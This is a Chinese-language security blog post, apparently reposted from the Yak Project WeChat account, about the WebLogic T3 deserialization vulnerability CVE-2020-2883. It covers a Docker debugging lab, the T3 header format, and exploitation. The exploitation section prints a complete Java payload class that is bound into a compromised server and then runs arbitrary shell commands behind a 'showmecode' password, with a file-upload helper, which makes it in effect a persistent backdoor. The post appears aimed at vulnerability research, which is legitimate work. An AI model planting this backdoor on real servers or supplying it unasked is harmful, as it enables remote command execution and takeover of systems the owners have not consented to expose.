漏洞介绍
weblogic反序列化漏洞大致有两种,一种是基于t3协议的,一种是基于xml的
基于T3协议漏洞大致有:CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883
其中CVE-2020-2883是CVE-2020-2555补丁的绕过,实则差不多
调试环境搭建
本篇测试CVE-2020-2883漏洞使用docker搭建环境
使用vulfocus/weblogic-cve_2020_2883镜像(weblogic:12.1.3)、idea远程调试
docker-compose.yml配置如下
version: '2'
services:
weblogic:
image: vulfocus/weblogic-cve_2020_2883:latest
ports:
- "7001:7001"
- "8453:8453"
然后docker-compose up -d启动镜像,
再docker exec -it <镜像ID> /bin/bash,进入容器shell vi /u01/oracle/weblogic/user_projects/domains/base_domain/bin/setDomainEnv.sh
搜索debugFlag,在if上添加
debugFlag="true"
export debugFlag
然后:wq保存,exit退出容器`docker restart <容器id>`
重启容器,服务端调试环境就搭建好了
还有个问题就是,本地调试需要远程运行项目的jar包或源码,可以直接dokcer cp从镜像里把jar包都拿出来,但是下载速度太慢了,我选择本机在官网下载weblogic12.1.3的安装包,然后解压,把.jar后缀的放到一个文件夹下,当做依赖
在本地打开idea,创建空项目,然后将上面整理好的文件夹,设置为依赖,如图
t3协议组成分析
t3 10.3.1nAS:255nHL:19nn
10.3.1
是本地客户端请求,AS
是abbrevs的大小,HL
是header长度fe010000
,然后才是aced(序列化对象的开头),暂且叫fe010000
为前缀吧fe010000
就可以改为fd00
了漏洞利用
反序列化
回显利用
package com.supeream.payload;
import java.io.BufferedReader;
import java.io.FileOutputStream;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;
import javax.naming.Context;
import javax.naming.InitialContext;
import weblogic.cluster.singleton.ClusterMasterRemote;
public class RemoteImpl implements ClusterMasterRemote {
public RemoteImpl() {
}
public static void main(String[] args) {
try {
RemoteImpl remote = new RemoteImpl();
if (args.length == 2 && args[0].equalsIgnoreCase("blind")) {
remote.getServerLocation(args[1]);
} else if (args.length == 1) {
Context ctx = new InitialContext();
if (args[0].equalsIgnoreCase("install")) {
ctx.rebind("supeream", remote);
} else if (args[0].equalsIgnoreCase("uninstall")) {
ctx.unbind("supeream");
}
}
} catch (Exception var3) {
}
}
public void setServerLocation(String cmd, String args) throws RemoteException {
}
public static void uploadFile(String path, byte[] content) {
try {
FileOutputStream fileOutputStream = new FileOutputStream(path);
fileOutputStream.write(content);
fileOutputStream.flush();
fileOutputStream.close();
} catch (Exception var3) {
}
}
public String getServerLocation(String cmd) throws RemoteException {
try {
if (!cmd.startsWith("showmecode")) {
return "guess me?";
} else {
cmd = cmd.substring(10);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
List<String> cmds = new ArrayList();
if (cmd.startsWith("$NO$")) {
cmds.add(cmd.substring(4));
} else if (isLinux) {
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
} else {
cmds.add("cmd.exe");
cmds.add("/c");
cmds.add(cmd);
}
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while((line = br.readLine()) != null) {
sb.append(line).append("n");
}
return sb.toString();
}
} catch (Exception var10) {
return var10.getMessage();
}
}
}
invoke组成: ImmutableServiceContext(methodDescript("getServerLocation(Ljava.lang.String;)")),authentication
如图是header、context、lookup的请求
END
官网教程:https://www.yaklang.io/products/intro
视频教程:https://space.bilibili.com/437503777
下载地址:https://github.com/yaklang/yakit
原文始发于微信公众号(Yak Project):Weblogic t3协议分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论